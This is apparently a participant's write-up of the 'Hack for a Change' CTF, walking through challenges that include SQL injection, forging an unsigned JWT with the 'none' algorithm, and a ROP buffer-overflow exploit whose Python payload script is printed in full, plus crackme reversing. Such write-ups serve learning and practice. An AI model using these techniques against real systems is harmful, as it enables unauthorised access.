2475 words
12 minutes
Hack for a Change CTF | writeup

Hack for a Change CTF | writeup#

Hello I’m Sho. I found this ctf on CTFtime. Me & teammate register this ctf before this event start 8 hours. LOL

This is my first writeup written in English, so my English is not very good yet. Sorry about that, and I hope you still enjoy reading it.

so let’s start it!#

📌Microfinance IDOR#

captionless image

this one is very easy. the answer is 3 ( I just did a little manual and got proof code LOL)

captionless image

📌Slum Survey Photo#

captionless image

I though I’d need advanced tools to find the flag, but I didn’t. just “strings”

captionless image

📌WelfareNet Admin#

captionless image

This challenge is about sql injection. There is no blacklist filtering, so it is just a simple sql injection

captionless image

use only comments to ensure that query contains only one condition

captionless imagecaptionless image

📌Walfare Payments PCAP#

captionless image

no need necessary to use advance tool, and it uses the same method as “Slum Survey Photo”

just “strings” it LOL

captionless imagecaptionless image

📌Poverty Action Cipher#

captionless image

this quite pretty hard for me. cause we need to do some research a bit word in 2030agenda

captionless image

after load puzzle it will show the cipher that contain a 3 layer of encryption

from now on, I will use the word “state” insted of “layer”

State 1: I use Caesar cipher for decrypt

captionless image

“ ENDING POVERTY IN ALL ITS FORMS EVERYWHERE REMAINS THE GREATEST GLOBAL CHALLENGE FACING THE WORLD TODAY AND AN INDISPENSABLE REQUIREMENT FOR SUSTAINABLE DEVELOPMENT.”

🤔

State 2: I use Vigenere cipher with key “dignity”

captionless image

State 3: this is a hard part for me

In the instruction said “encoded as hex. Repeating-byte XOR with an 8-byte key. The plaintext is a declaration about the SDG 1 mandate.”

the question is what is the key?

  1. Guess plaintext

go to this website 2030agenda

the hint of state 3 say: “Stage 3 verb appears in the cleartext you produced. Hash it, take the first eight bytes, XOR.”

captionless image

so I guess “eradicate”

get first 8 letter “eradicat” then convert to hex 45 52 41 44 49 43 41 54

get first 8 bytes of ciphertext “1a295f35bcafb…” 1a 29 5f 35 bc af b4 fd

note:#

plaintext xor key = cipher

cipher xor plaintext = key

captionless image

so the key is 5f 7b 1e 71 f5 ec f5 a9

now go back and follow the instructions

captionless imagecaptionless imagecaptionless image

📌Cash Aid Routing#

captionless imagecaptionless image

{
"ok": true,
"villages": [ {
"id": 0,
"is_depot": true,
"x": 90.79,
"y": 17.02,
"demand_usd": 0
},
{
"id": 1,
"is_depot": false,
"x": 81.19,
"y": 47.28,
"demand_usd": 114
},
{
"id": 2,
"is_depot": false,
"x": 47.21,
"y": 10.23,
"demand_usd": 209
},
{
"id": 3,
"is_depot": false,
"x": 92.02,
"y": 23.29,
"demand_usd": 398
},
{
"id": 4,
"is_depot": false,
"x": 60.14,
"y": 89.34,
"demand_usd": 81
},
{
"id": 5,
"is_depot": false,
"x": 30.54,
"y": 55.09,
"demand_usd": 277
},
{
"id": 6,
"is_depot": false,
"x": 82.55,
"y": 6.11,
"demand_usd": 138
},
{
"id": 7,
"is_depot": false,
"x": 85.03,
"y": 67.2,
"demand_usd": 71
},
{
"id": 8,
"is_depot": false,
"x": 89.2,
"y": 40.66,
"demand_usd": 113
},
{
"id": 9,
"is_depot": false,
"x": 71.91,
"y": 72.29,
"demand_usd": 318
},
{
"id": 10,
"is_depot": false,
"x": 85.36,
"y": 20.85,
"demand_usd": 83
},
{
"id": 11,
"is_depot": false,
"x": 23.14,
"y": 45.97,
"demand_usd": 191
},
{
"id": 12,
"is_depot": false,
"x": 46.91,
"y": 13.36,
"demand_usd": 59
},
{
"id": 13,
"is_depot": false,
"x": 42.61,
"y": 23.76,
"demand_usd": 147
},
{
"id": 14,
"is_depot": false,
"x": 27.02,
"y": 72.79,
"demand_usd": 169
},
{
"id": 15,
"is_depot": false,
"x": 10.75,
"y": 42.54,
"demand_usd": 271
},
{
"id": 16,
"is_depot": false,
"x": 48.28,
"y": 61.14,
"demand_usd": 134
},
{
"id": 17,
"is_depot": false,
"x": 64.04,
"y": 43.33,
"demand_usd": 382
},
{
"id": 18,
"is_depot": false,
"x": 30.99,
"y": 30.52,
"demand_usd": 67
},
{
"id": 19,
"is_depot": false,
"x": 39.44,
"y": 29.66,
"demand_usd": 321
},
{
"id": 20,
"is_depot": false,
"x": 24.75,
"y": 64.1,
"demand_usd": 361
},
{
"id": 21,
"is_depot": false,
"x": 42.33,
"y": 51.71,
"demand_usd": 165
},
{
"id": 22,
"is_depot": false,
"x": 8.86,
"y": 81.15,
"demand_usd": 196
},
{
"id": 23,
"is_depot": false,
"x": 50.41,
"y": 87.36,
"demand_usd": 287
},
{
"id": 24,
"is_depot": false,
"x": 55.23,
"y": 50.91,
"demand_usd": 321
},
{
"id": 25,
"is_depot": false,
"x": 93.59,
"y": 20.17,
"demand_usd": 361
}
],
"n": 25,
"max_total_distance": 538.16
}

the easiest manual way is plotting and find way that nearest or shortest path, then draw a line down it

captionless image

25,3,10,6,8,1,17,24,16,21,5,20,14,22,11,15,18,19,13,12,2,9,7,4,23

and the easiest (automatic) way is using AI plotting this & answer LOL

captionless image

📌Poverty Registry#

captionless image

objective is create a jwt cookie with the admin role

captionless image

This response is from “GET Info” button

captionless image

“GET JWKS” this give us jwt cookie

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ijk3ZWFlNGNiODEzODgyNzcifQ.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoidXNlciIsImlhdCI6MTc3OTIwMjg0NSwiZXhwIjoxNzc5MjA2NDQ1fQ.JaKSpufmzVecFB4CT2BZIKp6qbtPVeObYFUx6Y1NuvA

captionless image

“GET pubket (PEM)”

captionless image

I’m using jwt.io for decode jwt cookie

captionless image

the safety way to create jwt with a valid signature using the HS256 algorithm is use correct secret key, However, we do not know the secret key.

second option is use the RS256 algorithm. This requires a private key for signing secret key. But we only have access to the public key

last option is not use any algorithm at all. It sounds quite funny, but we still need to try it haha

captionless image

AND IT WORK LOL (I dont know how)

captionless image

📌Stipend Validator#

captionless imagecaptionless image

first let’s take a look at the logic of this code

Input:

  • Check the length, which must be equal to _0xff.length
  • XOR each charCode with the key
  • If the result is not equal to _0xff[i], the validation fails

this codesimply performs a normal XOR

as explained in “Poverty Action Cipher” :

plaintext xor key = cipher

cipher xor plaintext = key

if we have any two out of these three things, we can recover the third one.

var _0xff=[0x98,0x9f,0x87,0x2d,0x0a,0xae,0x3c,0xb3,0xc8,0x99,0x84,0x2e,0x09,0xae,0x6d,0xb3,0xc3,0x91,0x86,0x2b,0x5b,0xaa,0x6f,0xee];
var _0x77=[0xfa,0xa9,0xe2,0x18,0x39,0x9a,0x59,0x8a];

let’s decode it

captionless imagecaptionless image

📌Ration Kiosk#

captionless image

Now we in reverse engineer section! this is my best part ever ever ever ver ver ver ver vevevef veevev

Let’s start hacking it!

captionless image

This binary was compiled without PIE, so we can easily determine the actual addresses of its functions.

captionless image

I’m guessing it might related to a buffer overflow vuln

let’s check the function that might give us the flag

nm Ration_Kiosk | grep -E "give|flag|admin|handle|main"

captionless image

take a look at handle_request function

captionless image

To make it easier to read, I’ll put these assembly code in Assembly to C Converter

captionless image

void handle_request() {
char buffer[72];
long nbytes;
write(1, (void*)0x47e050, 7);
nbytes = read(0, buffer, 0x400); // 0x400 = 1024

The buffer size is only 72 bytes, but the “read” function reads up to 1024 bytes into it.

It’s clearly buffer overflow

important

However, if we create a payload, we need to reference the buffer bytes from the assembly.

give_flag function is our goal (0x4017b9)

00000000004017b9 <give_flag>:
4017b9: 55 push %rbp
4017ba: 48 89 e5 mov %rsp,%rbp
4017bd: 48 83 ec 70 sub $0x70,%rsp
4017c1: 48 89 7d 98 mov %rdi,-0x68(%rbp)
4017c5: 48 89 75 90 mov %rsi,-0x70(%rbp)
...
401831: 0f b6 44 05 e0 movzbl -0x20(%rbp,%rax,1),%eax
401836: 31 c2 xor %eax,%edx

give_flag() receives a value (8 bytes int) as the key directly, not an address

0x4017c1 & 0x 4017c5 is store values from rdi & rsi into the stack

(In x86–64 Linux, the ROP chain passes arguments to a function using rdi as the first argument & rsi as the second argument)

Brief summary :

This means that the give_flag function cannot directly create a flag; it must accept an arguments, which is a keys, to generate the flag.

Next, we need find the keys used as the arguments for the give_flag function

I took the results from the nm command and used chatgpt to filter global variables that were created, not those of the program by default.

captionless image

so i think the keys is subsidy_alpha & subsidy_beta because we need 2 arguments for the function, and these 2 variables names are related

00000000004aa0e0 D subsidy_alpha
00000000004aa200 D subsidy_beta

as you can see, we can do a ROP gadgets in admin_audit function

pop %rdi; ret

pop %rsi; ret

captionless image

calculate offset (from start to return address) handle_request function

captionless image

0x50 + 8 = 0x58 = 88 bytes

now we ready to create the payload

python3 -c "
import struct
# addresses
pop_rdi = 0x4017b5
pop_rsi = 0x4017b7
give_flag = 0x4017b9
# key values
alpha_val = 0xdad72c2af45285e0
beta_val = 0x27de289ed9f65f24
# offset to return address
offset = 0x50 + 8 # = 88
def p64(val):
return struct.pack('<Q', val) # little-endian 8 bytes
payload = b'A' * offset # padding
payload += p64(pop_rdi) # gadget: pop rdi; ret
payload += p64(alpha_val) # ->rdi = subsidy_alpha
payload += p64(pop_rsi) # gadget: pop rsi; ret
payload += p64(beta_val) # ->rsi = subsidy_beta
payload += p64(give_flag) # ->give_flag(rdi, rsi)
print(f'Total payload: {len(payload)} bytes')
with open('payload.bin', 'wb') as f:
f.write(payload)
print('Saved: payload.bin')
print('Hex:', payload.hex())
"

Once we have finished creating the payload, now we are ready to sent the payload to this executable

cat payload.bin | ./Ration_Kiosk

captionless image

📌BasicIncome Crackme#

captionless imagecaptionless image

First we need to find the entry point & main function

captionless image

we can that the address of main function is at 0x401680

captionless imagecaptionless image

#include <stdio.h>
#include <string.h>
#include <stdint.h>
/**
* External global/static data identified from memory addresses.
* Based on the assembly offsets (e.g., 0x47e008, 0x47e0d0).
*/
// 0x47e008: "Please enter the license key: " (length 0x23)
const char* STRING_47e008 = "Please enter the license key: ";
// 0x47e061: "Key: " (length 0xe)
const char* STRING_47e061 = "Key: ";
// 0x47e030: "Invalid key format. Please try again.\n" (length 0x30)
const char* STRING_47e030 = "Invalid key format. Please try again.\n";
// 0x47e070: "Wrong key!\n" (length 0xc)
const char* STRING_47e070 = "Wrong key!\n";
// 0x47e07d: "Flag decrypted: " (length 0x13)
const char* STRING_47e07d = "Flag decrypted: ";
// 0x47e0e0: XOR mask for validation (8 bytes used with and 0x7)
const uint8_t DATA_47e0e0[] = { /* Content depends on binary, placeholder for logic */ };
// 0x47e0d0: Expected comparison values after XOR (16 bytes)
const uint8_t DATA_47e0d0[] = { /* Content depends on binary */ };
// 0x47e0a0: Ciphertext for flag decryption (40 bytes / 0x28)
const uint8_t DATA_47e0a0[] = { /* Content depends on binary */ };
/**
* Standard Library / External Function Mappings:
* 0x40acf0: likely fwrite or similar stream output
* 0x40a960: likely fflush
* 0x40aa50: likely fgets
* 0x4010c8: likely strlen
* 0x40cd90: likely fputc or putchar
* 0x4aa6c8: likely stdout
* 0x4aa6d0: likely stderr or a specific log stream
* 0x4aa6d8: likely stdin
*/
// Mock pointers for FILE streams
extern FILE *stream_4aa6c8; // stdout
extern FILE *stream_4aa6d0; // stderr/log
extern FILE *stream_4aa6d8; // stdin
int validate_and_decrypt() {
// 401680: push rbx
// 401694: add rsp, -0x80 (Local stack allocation)
uint8_t stack_buffer[128];
uint8_t *rbx;
size_t rax;
// 401681: pxor xmm0, xmm0
// 40169f - 4016bd: zero out part of the stack
memset(&stack_buffer[0x30], 0, 80);
// 401685 - 4016bd: fwrite(STRING_47e008, 1, 0x23, stdout)
fwrite(STRING_47e008, 1, 0x23, stream_4aa6c8);
// 4016c2 - 4016d8: fwrite(STRING_47e061, 1, 0xe, stdout)
fwrite(STRING_47e061, 1, 0xe, stream_4aa6c8);
// 4016dd - 4016e4: fflush(stdout)
fflush(stream_4aa6c8);
// 4016e9 - 4016f8: fgets(rbx, 0x50, stdin)
rbx = &stack_buffer[0x30];
if (fgets((char*)rbx, 0x50, stream_4aa6d8) == NULL) {
// 401700: je 0x40184c
goto label_40184c;
}
// 401709: call strlen
rax = strlen((char*)rbx);
// 40170e - 401711: test rax, rax; jne 40172d
if (rax == 0) {
// 401713: jmp 0x401831
goto label_401831;
}
// Loop to trim trailing Newlines/Carriage Returns
while (rax != 0) {
// 40172d: mov rcx, rax
size_t rcx = rax;
// 401730: sub rax, 1
rax--;
// 401734: movzx edx, BYTE PTR [rbx+rax*1]
uint8_t dl = rbx[rax];
// 401738 - 40173b: cmp dl, 0xa; je 0x401720
// 40173d - 401740: cmp dl, 0xd; je 0x401720
if (dl == 0x0a || dl == 0x0d) {
// 401720: mov BYTE PTR [rbx+rax*1], 0x0
rbx[rax] = 0;
// 401724: test rax, rax; je 401831
if (rax == 0) goto label_401831;
continue;
}
// 401742: cmp rcx, 0x10
if (rcx != 0x10) {
// 401746: jne 0x401831
goto label_401831;
}
break;
}
// 40174c - 40177a: (Various NOPs for alignment)
// Key Validation Loop (16 iterations)
// 401780:
for (rax = 0; rax < 0x10; rax++) {
// 401783: and edx, 0x7
uint32_t rdx_idx = (uint32_t)rax & 0x7;
// 401786: movzx edx, BYTE PTR [rdx+0x47e0e0]
uint8_t dl = DATA_47e0e0[rdx_idx];
// 40178d: xor dl, BYTE PTR [rbx+rax*1]
dl ^= rbx[rax];
// 401790: cmp BYTE PTR [rax+0x47e0d0], dl
if (DATA_47e0d0[rax] != dl) {
// 401796: jne 0x401853
goto label_401853;
}
}
// 4017a6 - 4017b3: Clear 0x29 bytes at rsp (using rep stos)
// Note: rbx is reassigned to rsp here in asm, but used as output buffer
uint8_t output_buffer[0x29];
memset(output_buffer, 0, 0x29);
// Flag Decryption Loop (40 iterations)
// 4017c0:
for (rax = 0; rax < 0x28; rax++) {
// 4017c3: and edx, 0xf
uint32_t rdx_idx = (uint32_t)rax & 0xf;
// 4017c6: movzx edx, BYTE PTR [rsp+rdx*1+0x30] (Uses indices from the input key)
uint8_t dl = rbx[rdx_idx];
// 4017cb: xor dl, BYTE PTR [rax+0x47e0a0]
dl ^= DATA_47e0a0[rax];
// 4017d1: mov BYTE PTR [output_buffer+rax*1], dl
output_buffer[rax] = dl;
}
// 4017de - 4017f4: fwrite(STRING_47e07d, 1, 0x13, stream_4aa6d0)
fwrite(STRING_47e07d, 1, 0x13, stream_4aa6d0);
// 4017f9 - 4017fc: call strlen(output_buffer)
rax = strlen((char*)output_buffer);
// 401801 - 401813: fwrite(output_buffer, 1, rax, stream_4aa6d0)
fwrite(output_buffer, 1, rax, stream_4aa6d0);
// 401818 - 401824: fputc('\n', stream_4aa6d0)
fputc(0x0a, stream_4aa6d0);
// 401829: xor eax, eax
// 40182b - 401830: Epilogue
return 0;
label_401831:
// 401831 - 401847: fwrite(STRING_47e030, 1, 0x30, stdout)
fwrite(STRING_47e030, 1, 0x30, stream_4aa6c8);
label_40184c:
// 40184c: mov eax, 1
return 1;
label_401853:
// 401853 - 401869: fwrite(STRING_47e070, 1, 0xc, stdout)
fwrite(STRING_47e070, 1, 0xc, stream_4aa6c8);
// 40186e: jmp 0x40184c
goto label_40184c;
}

flow of this executable

0x401680: print banner
0x4016c2: print "household_id> "
0x4016e4: flush stdout
0x4016f8: fgets(buf, 0x50, stdin) read input in rbx (buf on stack)
0x401700: je 0x40184c if fgets give NULL -> done
0x401709: strlen(buf)
0x401711: jne 0x40172d if len != 0 -> continue
0x401742: cmp rcx, 0x10 check length == 16?
0x401746: jne 0x401831 if not -> "Ineligible"

We’ve found the Validation Loop — the heart of the problem. (in the code above)

From this code, we can create the following equation :

EXPECTED[i] == input[i] XOR KEY[i % 8]

therefore :

input[i] = EXPECTED[i] XOR KEY[i % 8]

now we extract the EXPECTED and KEY values from the binary

let take a look at LOAD Segments of ELF

captionless image

Based on the LOAD, it could be inferred that 0x47e0e0 & 0x47e0d0 might be our EXPECTED and KEY.

captionless image

KEY @ VA 0x47e0e0 → file offset 0x7e0e0 (8 bytes)
EXPECTED @ VA 0x47e0d0 → file offset 0x7e0d0 (16 bytes)

captionless image

calculate the Household ID

KEY = bytes.fromhex("16b056fb28f0ac27")
EXPECTED = bytes.fromhex("2ed660ca1e959813278360cd1dc99c14")
household_id = bytes([EXPECTED[i] ^ KEY[i % 8] for i in range(16)])
print(household_id.decode()) # → 8f616e4413665903

after finished validation, we found Voucher Generation Loop

; Loop i = 0..39 (40 bytes)
0x4017c0: mov rdx, rax
0x4017c3: and edx, 0xf ; rdx = i % 16
0x4017c6: movzx edx, [rsp + rdx + 0x30] ; = input[i % 16]
0x4017cb: xor dl, [rax + 0x47e0a0] ; XOR with VOUCHER_TABLE[i]
0x4017d1: mov [rbx + rax], dl ; store result
VOUCHER_TABLE = data[0x7e0a0 : 0x7e0a0+40]
voucher = bytes([VOUCHER_TABLE[i] ^ household_id[i % 16] for i in range(40)])
print(voucher.decode())

now everything is ready, let sent the payload

python3 -c "d=open('BasicIncome_Crackme','rb').read();k=d[0x7e0e0:0x7e0e8];e=d[0x7e0d0:0x7e0e0];print(bytes([e[i]^k[i%8]for i in range(16)]).decode())" | ./BasicIncome_Crackme

📌Slum Pinpoint#

captionless image

now we’re in the osint section! YAY! YAY! (I hate it!)

captionless image

captionless imagecaptionless imagecaptionless image

I use google, google ai & google map in this question ദ്ദി(ᵔᗜᵔ)

captionless image

captionless imagecaptionless image